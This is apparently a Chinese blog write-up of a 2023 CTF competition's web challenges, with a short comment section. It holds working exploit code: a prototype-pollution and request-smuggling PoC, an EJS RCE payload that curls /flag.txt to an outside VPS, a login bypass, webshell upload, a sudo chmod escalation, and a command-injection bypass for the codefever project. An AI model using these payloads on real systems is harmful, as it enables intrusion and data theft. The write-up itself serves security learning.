西湖论剑2023 web wp (一)

西湖论剑2023 web wp

这次有幸代表学校参加西湖论剑ctf线上赛,我和队友们经过8小时的艰难奋斗,将校队aurora的大旗牢牢的插在第七名上(广东省第一),光荣晋级

image-20230205164725250

web

Node Magical Login

第一段flag,访问/flag1

cookie:user=admin

image-20230205192737023

第二段flag在getflag2,绕一下,思路是保证checkcode.length === 16,同时让Try里面执行不了就可以跳到下面,比如可以下面这样

{"checkcode":{"length":16}}

image-20230205192806540

或者考虑到list也有长度,用这个payload也行

image-20230205192817550

real_ez_node

先测试一下,发现可以污染

var safeObj = require("safe-obj");
var obi = ;
console.log("Before :"+ {}.polluted);
safeobj. expand (obj,'constructor.prototype.polluted','Yes! Its Polluted');
console.log("After :"+ {}.polluted);

然后想办法http请求走私,参考这个nodejs请求走私与ssrf | blog (le31ei.top)

本地构造post包

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

constructor.prototype.polluted=thaijacko

我在vps上起个监听,然后hackbar发送post请求后就可以从vps看到post包,删掉一些冗余的信息,简化得到上面的post包

之后手动把/n换成\u010D\u010A, \s换成\u0120

之后写个node脚本发

const http = require("http");
//http.get("http://127.0.0.1:3000/curl?q=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:8888\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:1337\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012086\u010D\u010A\u010D\u010Ausername=admin2&password=admin2\u010D\u010A\u010D\u010AGET\u0120/123")
http.get("http://127.0.0.1:3000/curl?q=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:3000\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/copy\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:3000\u010D\u010AContent-Length:\u012040\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010A\u010D\u010Aconstructor.prototype.polluted=thaijacko")

可以看到成功走私且被污染

image-20230205192844016

看了下环境,选择攻击ejs,payload如下(注意要post包的body需要url编码)

constructor.prototype.outputFunctionName=a%3D1%3B%20return%20global.process.mainModule.constructor._load('child_process').execSync('curl -F a=@/flag.txt http://8.129.42.140:3307')%3B%20%2F%2F

最终poc

const http = require("http");

http.get("http://127.0.0.1:3000/curl?q=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:3000\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/copy\u0120HTTP/1.1\u010D\u010AHost:\u01208.129.42.140:3307\u010D\u010AContent-Length:\u0120237\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010A\u010D\u010Aconstructor.prototype.constructor.prototype.outputFunctionName=a%3D1%3B+return+global.process.mainModule.constructor._load%28%27child_process%27%29.execSync%28%27curl+-F+a%3D%40%2Fflag.txt+http%3A%2F%2F8.129.42.140%3A3307%27%29%3B+%2F%2F")

image-20230205192857340

unusual php

phpinfo看到有zendtest so
读取http://80.endpoint-8f12dddc46e0491182fabb34bb138e45.m.ins.cloud.dasctf.com:81/?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
分析得到经过rc4加密,把上传的shell通过rc4加密上传,得到shell,上蚁剑

sudo -l看到www-data下chmod指令可免密码执行,直接修复flag权限进行读取,好像/etc/sudoers是没权限读的

image-20230205192911499

扭转乾坤

文件上传的时候抓包在Content-Type随便加东西就行,例如Content-Type: multipart/form1-data;

似乎是中间件apache的导致的漏洞

real world git

一眼源码:https://github.com/PGYER/codefever

两种安装方法,这里docker安装:

docker run -d --privileged=true --name codefever -p 80:80 -p 22:22 -it pgyer/codefever-community:latest /usr/sbin/init

这题写着简单题,但是解数是第二少的,笑死

当时审计的时候认为这里有洞

image-20230205171840632

但是方向其实错误了

参考题解:2023西湖论剑web-writeup题解wp (qq.com)

这个cms还是体量比较大的那种,这里教大家一些骚操作,下载源码后先看docker-compose和dockerfile,了解到项目代码有一部分是安装包(比如misc文件夹等),同时也找到了docker里面的web目录/data/www/codefever-community/

有用的功能代码可能就这几个

image-20230205174116350

很快发现application的controller应该是业务核心代码,使用MVC架构的确符合大工程cms特定,同时,这里的代码是典型的跳转登录

image-20230205174318067

符合我们初次访问的url

image-20230205174339360

审计application这个mvc就能大致掌握业务逻辑了,有助于我们快速上手

大致审计了一下登录鉴权系统,没什么硬伤,倒是md5两次明文密码再存储值得很多辣鸡cms进行学习

image-20230205174846926

看到登录的话会返回u_key

image-20230205175249322

登录成功会跳到repositories,怀疑就是repository的功能代码了

经过了解,base.php应该是规范api请求的

创建一个仓库可以获取r_key

image-20230205180449369

image-20230205180621853

但是需要u_key,g_key的鉴权,猜名字应该就是user和组

image-20230205180658225

这里可以看到,没有g_key是直接新建不了的,上面的代码有所体现

可以注册用户。然后创建仓库。可以拿到rkey

image-20230205181349760

这个r_key本来就是业务需要公开的,所以随便找找api就有

随后了解项目代码后,找可以rce的点,代码中有许多调用系统命令的地方,包括但不限于run,execCommand等

这里直接说答案,发现BlameInfo_get->getblameinfo->run 可以利用

BlameInfo_get仍然是在respository里面的一个业务代码

image-20230205181846040

可控的地方是revision和path

我们看一下getBlameInfo

public function getBlameInfo(string $rKey, string $uKey, string $revision, string $filepath)
{
    // get repository internal url
    $repositoryURL = $this->getAccessURL($rKey, $uKey);

    if (!$repositoryURL) {
        return FALSE;
    }

    $revision = Command::wrapArgument($revision);
    $filepath = Command::wrapArgument($filepath);

    // create target repository workspace
    $workspace = Workspace::create();

    // clone target repository
    $status = Command::runWithoutOutput([
        'cd', $workspace, '&&',
        YAML_CLI_GIT, 'clone', $repositoryURL, '.'
    ]);

    if (!$status) {
        Workspace::delete($workspace);
        return FALSE;
    }

    $output = [];
    $status = Command::run([
        'cd', $workspace, '&&',
        YAML_CLI_GIT, 'checkout', $revision, '&&',
        YAML_CLI_GIT, 'blame', '-p', $revision, $filepath
    ], $output);

    if (!$status) {
        Workspace::delete($workspace);
        return FALSE;
    }

    Workspace::delete($workspace);

    $output = Helper::parseBlameData($output);

    // return merge result
    return $output;
}

可以看到一开始我们进入到这里

$revision = Command::wrapArgument($revision);
    $filepath = Command::wrapArgument($filepath);

image-20230205182351760

这是一个过滤,可以看到原来注释的代码,原意应该是做一个转义,但是后面这样改安全多了

image-20230205183430596

特殊字符会被过滤(这里过滤了空格,引号,$符号,竖线)

image-20230205183505421

结果run又使用空格连接array参数

image-20230205183641982

这里大概是可以rce的,只要想到命令注入的一些绕过(这里只过滤了空格,引号,$符号,竖线)就可以,

比如说

;id

最后run参数是这样操作的

$status = Command::run([
            'cd', $workspace, '&&',
            YAML_CLI_GIT, 'checkout', $revision, '&&',
            YAML_CLI_GIT, 'blame', '-p', $revision, $filepath
        ], $output);

每个元素直接都会加上空格,不难想到可以

$revision=;curl
$filepath=vps

可以写个demo测一测,调一调,快乐十分

<?php

function wrapArgument(string $argument)
{
//         $argument = str_replace('\\', '\\\\',$argument);
//         $argument = str_replace('"', '\"',$argument);
//         return '"' . $argument . '"';

    $pattern = [
        '/(^|[^\\\\])((\\\\\\\\)*[\s\'\"\$\|])/',
        '/(^|[^\\\\])((\\\\\\\\)*\\\\([^\s\'\"\|\$\\\\]|$))/'
    ];
    $replacement = [
        '$1\\\\$2',
        '$1\\\\$2'
    ];

    $result = preg_replace($pattern, $replacement, $argument);
    while ($result !== $argument) {
        $argument = $result;
        $result = preg_replace($pattern, $replacement, $argument);
    }

    return $result;
    // return '"' . $result . '"';
}

$workspace="/var/www/html";
$revision=";`curl";
$filepath="http://8.129.42.140:3307";

$revision = wrapArgument($revision);
$filepath = wrapArgument($filepath);

echo $revision;echo "\n";
echo $filepath;echo "\n";

$command=[
    'cd', $workspace, '&&',
    'YAML_CLI_GIT', 'checkout', $revision, '&&',
    'YAML_CLI_GIT', 'blame', '-p', $revision, $filepath
];
echo implode(' ', $command);

image-20230205192029471

这样应该是可以了,反引号可以不用的

实战测一下

image-20230205190839084

后面就是vps上传反弹shell的sh,然后给靶机执行,执行后需要登录mysql覆盖admin密码才能登录后台getflag,后面的没啥操作,主要还是前面getshell

至于如何调到blameInfo_get这个函数呢

通过不断的在后台抓包,观察各个api,可以发现规律:访问/api/repository/xxx就可以调用到xxx_get

例如

image-20230205185934729

就是

image-20230205190005122

具体实现应该是在api.php里面,大概像是这样,这是很多mvc都具备的特点

image-20230205185751474

java有空再写,要复习考试了

评论

  1. 1
    1 年前
    2023-2-07 19:07:54

    博主您好,您战队crypto方向的wp可以公布吗

    • 博主
      1
      1 年前
      2023-2-14 12:13:58

      好的,请稍等,博主这两天在考试

    • 博主
      1
      1 年前
      2023-2-20 14:24:35

      抱歉,久等了,已发布,望海涵

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇